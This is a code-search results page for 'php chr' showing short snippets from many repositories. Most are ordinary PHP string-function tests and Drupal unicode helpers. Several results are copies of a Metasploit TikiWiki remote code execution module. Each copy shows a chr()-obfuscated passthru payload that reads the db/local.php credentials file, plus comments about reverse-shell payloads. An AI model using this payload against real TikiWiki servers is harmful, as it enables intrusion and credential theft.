PageRenderTime 12ms queryFilters 13ms Sphinxql 162ms app.CodeModel.GetByIds 133ms findMatchingLines 40ms GetByIds 173ms meta 0ms repositoryFilters 36ms languageFilters 2ms sourceFilters 3ms

21,207 results for 'php chr repo:somethingkindawierd/yii-bootstrap' (12 ms)

Source

Language

Repository

tikiwiki_graph_formula_exec.rb https://github.com/Jonono2/metasploit-framework.git | Ruby | 228 lines
14    super(update_info(info,
15      'Name'           => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
16      'Description'    => %q{
94    url_db_local = build_uri("passthru(" +
95      "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." +  # echo YYY
96      "chr(59)." +  # ;
97      # cat db/local.php
98      "chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
99      "chr(59)." +  # ;
99      "chr(59)." +  # ;
100      "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" +   # echo YYY
101      ")")
206    # This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
207    # Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
208    # php/meterpreter/reverse_tcp
tikiwiki_graph_formula_exec.rb https://bitbucket.org/technopunk2099/metasploit-framework.git | Ruby | 230 lines
16		super(update_info(info,
17			'Name'           => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
18			'Description'    => %q{
96		url_db_local = build_uri("passthru(" +
97			"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." +  # echo YYY
98			"chr(59)." +  # ;
99			# cat db/local.php
100			"chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
101			"chr(59)." +  # ;
101			"chr(59)." +  # ;
102			"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" +   # echo YYY
103			")")
208		# This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
209		# Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
210		# php/meterpreter/reverse_tcp
tikiwiki_graph_formula_exec.rb https://bitbucket.org/jrossi/metasploit | Ruby | 237 lines
20		super(update_info(info,
21			'Name'           => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
22			'Description'    => %q{
101		url_db_local = build_uri("passthru(" +
102			"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." +  # echo YYY
103			"chr(59)." +  # ;
104			# cat db/local.php
105			"chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
106			"chr(59)." +  # ;
106			"chr(59)." +  # ;
107			"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" +   # echo YYY
108			")")
215		# This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
216		# Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
217		# php/meterpreter/reverse_tcp
test.PHPCLI.php https://github.com/costinu/cms.git | PHP | 136 lines
30{
31    public function PHPCLI() { parent::AbstractTest("PHP Command Line", "Testing PHP command line (default is php)"); }
32    public function doTest()
39        }
40        $windows = (PHP_OS == "WIN32" || PHP_OS == "WINNT" || PHP_OS == "Windows");
41
72        $testScript = AJXP_CACHE_DIR."/cli_test.php";
73        file_put_contents($testScript, "<?php file_put_contents('".$robustCacheDir.DIRECTORY_SEPARATOR."cli_result.php', 'cli'); ?>");
74
78            /* Next 2 lines modified by rmeske: Need to wrap the folder and file paths in double quotes.  */
79            $cmd = $defaultCli." ". chr(34).$robustCacheDir .DIRECTORY_SEPARATOR."cli_test.php".chr(34);
80            $cmd .= " > ".chr(34).$logFile.chr(34);
87                $tmpBat = implode(DIRECTORY_SEPARATOR, array(str_replace("/", DIRECTORY_SEPARATOR, AJXP_INSTALL_PATH), "data","tmp", md5(time()).".bat"));
88                $cmd .= "\n DEL ".chr(34).$tmpBat.chr(34);
89                file_put_contents($tmpBat, $cmd);
tikiwiki_graph_formula_exec.rb https://gitlab.com/JakenHerman/metasploit-framework.git | Ruby | 227 lines
14    super(update_info(info,
15      'Name'           => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
16      'Description'    => %q{
94    url_db_local = build_uri("passthru(" +
95      "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." +  # echo YYY
96      "chr(59)." +  # ;
97      # cat db/local.php
98      "chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
99      "chr(59)." +  # ;
99      "chr(59)." +  # ;
100      "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" +   # echo YYY
101      ")")
206    # This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
207    # Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
208    # php/meterpreter/reverse_tcp
tikiwiki_graph_formula_exec.rb https://gitlab.com/leijianbin/metasploit-framework.git | Ruby | 227 lines
14    super(update_info(info,
15      'Name'           => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
16      'Description'    => %q{
94    url_db_local = build_uri("passthru(" +
95      "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." +  # echo YYY
96      "chr(59)." +  # ;
97      # cat db/local.php
98      "chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
99      "chr(59)." +  # ;
99      "chr(59)." +  # ;
100      "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" +   # echo YYY
101      ")")
206    # This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
207    # Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
208    # php/meterpreter/reverse_tcp
tikiwiki_graph_formula_exec.rb https://github.com/0x000G/metasploit-framework.git | Ruby | 229 lines
16		super(update_info(info,
17			'Name'           => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
18			'Description'    => %q{
96		url_db_local = build_uri("passthru(" +
97			"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." +  # echo YYY
98			"chr(59)." +  # ;
99			# cat db/local.php
100			"chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
101			"chr(59)." +  # ;
101			"chr(59)." +  # ;
102			"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" +   # echo YYY
103			")")
208		# This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
209		# Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
210		# php/meterpreter/reverse_tcp
stripslashes_variation2.php git://github.com/facebook/hiphop-php.git | PHP | 103 lines
49                    'he said, ""he will be on leave"',
50                    '"""PHP"""',
51                    "",
65                    'hello'.chr(0).'world',
66                    chr(0).'hello'.chr(0),
67                    chr(0).chr(0).'hello',
67                    chr(0).chr(0).'hello',
68                    chr(0),
69
72                    "'\\0.0.0.0'".chr(0),
73                    chr(0)."'c:\php\'",
74                    '"\\0.0.0.0"',
74                    '"\\0.0.0.0"',
75                    '"c:\php\"'.chr(0)."'",
76                    '"hello"'."'world'".chr(0).'//',
addslashes_variation2.php git://github.com/facebook/hiphop-php.git | PHP | 85 lines
38                    'he said, ""he will be on leave"',
39                    '"""PHP"""',
40                    "",
52                    'hello'.chr(0).'world',
53                    chr(0).'hello'.chr(0),
54                    chr(0).chr(0).'hello',
54                    chr(0).chr(0).'hello',
55                    chr(0),
56
59                    "'\\0.0.0.0'".chr(0),
60                    chr(0)."'c:\php\'",
61                    '"\\0.0.0.0"',
61                    '"\\0.0.0.0"',
62                    '"c:\php\"'.chr(0)."'",
63                    '"hello"'."'world'".chr(0).'//',
stripslashes_variation2.phpt git://github.com/infusion/PHP.git | Unknown | 334 lines
3--FILE--
4<?php
5/* Prototype  : string stripslashes ( string $str )
68                    'hello'.chr(0).'world',
69                    chr(0).'hello'.chr(0),
70                    chr(0).chr(0).'hello',
70                    chr(0).chr(0).'hello',
71                    chr(0),
72
75                    "'\\0.0.0.0'".chr(0),
76                    chr(0)."'c:\php\'",
77                    '"\\0.0.0.0"',
77                    '"\\0.0.0.0"',
78                    '"c:\php\"'.chr(0)."'",
79                    '"hello"'."'world'".chr(0).'//',
addslashes_variation3.phpt git://github.com/infusion/PHP.git | Unknown | 197 lines
3--FILE--
4<?php
5/* Prototype  : string addslashes ( string $str )
52                    '\\0.0.0.0',
53                    'c:\php\testcase\addslashes',
54                    '\\',
57                    'hello'.chr(0).'world',
58                    chr(0).'hello'.chr(0),
59                    chr(0).chr(0).'hello',
64                    "'\\0.0.0.0'".chr(0),
65                    chr(0)."'c:\php\'",
66                    '"\\0.0.0.0"',
66                    '"\\0.0.0.0"',
67                    '"c:\php\"'.chr(0)."'",
68                    '"hello"'."'world'".chr(0).'//',
stripslashes_variation5.phpt git://github.com/infusion/PHP.git | Unknown | 291 lines
3--FILE--
4<?php
5/* Prototype  : string stripslashes ( string $str )
43                    'he said, ""he will be on leave"',
44                    '"""PHP"""',
45                    "",
51                    'Is your name Ram\Krishna?',
52                    'c:\php\testcase\stripslashes',
53                    '\\',
56                    'hello'.chr(0).'world',
57                    chr(0).'hello'.chr(0),
58                    chr(0).chr(0).'hello',
64                    chr(0)."'c:\php\'",
65                    '"c:\php\"'.chr(0)."'",
66                    '"hello"'."'world'".chr(0).'//',
addslashes_variation3.phpt git://github.com/vpj/PHP-Extension-API.git | Unknown | 198 lines
4--FILE--
5<?php
6/* Prototype  : string addslashes ( string $str )
53                    '\\0.0.0.0',
54                    'c:\php\testcase\addslashes',
55                    '\\',
58                    'hello'.chr(0).'world',
59                    chr(0).'hello'.chr(0),
60                    chr(0).chr(0).'hello',
65                    "'\\0.0.0.0'".chr(0),
66                    chr(0)."'c:\php\'",
67                    '"\\0.0.0.0"',
67                    '"\\0.0.0.0"',
68                    '"c:\php\"'.chr(0)."'",
69                    '"hello"'."'world'".chr(0).'//',
addslashes_variation2.phpt git://github.com/infusion/PHP.git | Unknown | 195 lines
3--FILE--
4<?php
5/* Prototype  : string addslashes ( string $str )
55                    'hello'.chr(0).'world',
56                    chr(0).'hello'.chr(0),
57                    chr(0).chr(0).'hello',
57                    chr(0).chr(0).'hello',
58                    chr(0),
59
62                    "'\\0.0.0.0'".chr(0),
63                    chr(0)."'c:\php\'",
64                    '"\\0.0.0.0"',
64                    '"\\0.0.0.0"',
65                    '"c:\php\"'.chr(0)."'",
66                    '"hello"'."'world'".chr(0).'//',
addslashes_variation2.phpt git://github.com/vpj/PHP-Extension-API.git | Unknown | 195 lines
4--FILE--
5<?php
6/* Prototype  : string addslashes ( string $str )
56                    'hello'.chr(0).'world',
57                    chr(0).'hello'.chr(0),
58                    chr(0).chr(0).'hello',
58                    chr(0).chr(0).'hello',
59                    chr(0),
60
63                    "'\\0.0.0.0'".chr(0),
64                    chr(0)."'c:\php\'",
65                    '"\\0.0.0.0"',
65                    '"\\0.0.0.0"',
66                    '"c:\php\"'.chr(0)."'",
67                    '"hello"'."'world'".chr(0).'//',
TokenizerTest.php https://github.com/prateeksachan/search-api-sandbox.git | PHP | 308 lines
195  /**
196   * Like PHP chr() function, but for unicode characters.
197   *
197   *
198   * chr() only works for ASCII characters up to character 255. This function
199   * converts a number to the corresponding unicode character. Adapted from
207    if ($num < 2048) {
208      return chr(($num >> 6) + 192) . chr(($num & 63) + 128);
209    }
211    if ($num < 65536) {
212      return chr(($num >> 12) + 224) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
213    }
215    if ($num < 2097152) {
216      return chr(($num >> 18) + 240) . chr((($num >> 12) & 63) + 128) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
217    }
search.test https://github.com/ayappan/drupal.git | Unknown | 1,172 lines
954    $input = file_get_contents(DRUPAL_ROOT . '/modules/search/tests/UnicodeTest.txt');
955    $strings = explode(chr(10), $input);
956    foreach ($strings as $key => $string) {
1145  /**
1146   * Like PHP chr() function, but for unicode characters.
1147   *
1157    if ($num < 2048) {
1158      return chr(($num >> 6) + 192) . chr(($num & 63) + 128);
1159    }
1161    if ($num < 65536) {
1162      return chr(($num >> 12) + 224) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
1163    }
1165    if ($num < 2097152) {
1166      return chr(($num >> 18) + 240) . chr((($num >> 12) & 63) + 128) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
1167    }
search.test https://github.com/jianingy/guild-web.git | Unknown | 1,338 lines
954    $input = file_get_contents(DRUPAL_ROOT . '/modules/search/tests/UnicodeTest.txt');
955    $strings = explode(chr(10), $input);
956    foreach ($strings as $key => $string) {
1311  /**
1312   * Like PHP chr() function, but for unicode characters.
1313   *
1323    if ($num < 2048) {
1324      return chr(($num >> 6) + 192) . chr(($num & 63) + 128);
1325    }
1327    if ($num < 65536) {
1328      return chr(($num >> 12) + 224) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
1329    }
1331    if ($num < 2097152) {
1332      return chr(($num >> 18) + 240) . chr((($num >> 12) & 63) + 128) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
1333    }
php-strings.el git://github.com/ejmr/php-mode.git | Lisp | 769 lines
20
21;; http://php.net/manual/en/ref.strings.php
22;; file:///usr/share/doc/php-doc/html/ref.strings.html
36
37(define-skeleton php-bin2hex
38  "Insert a bin2hex statement"
48
49(define-skeleton php-chr
50  "Insert a chr statement. Returns a specific character from ascii code"
77
78(define-skeleton php-convert_uuencode
79  "Insert a bin2hex statement"
587
588(define-skeleton php-strrchr
589  "Insert a strrchr statement. Find the last occurrence of a character in a string"
SearchTokenizerTest.php git://github.com/drupal/drupal.git | PHP | 152 lines
124  /**
125   * Like PHP chr() function, but for unicode characters.
126   *
126   *
127   * chr() only works for ASCII characters up to character 255. This function
128   * converts a number to the corresponding unicode character. Adapted from
136    if ($num < 2048) {
137      return chr(($num >> 6) + 192) . chr(($num & 63) + 128);
138    }
140    if ($num < 65536) {
141      return chr(($num >> 12) + 224) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
142    }
144    if ($num < 2097152) {
145      return chr(($num >> 18) + 240) . chr((($num >> 12) & 63) + 128) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
146    }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21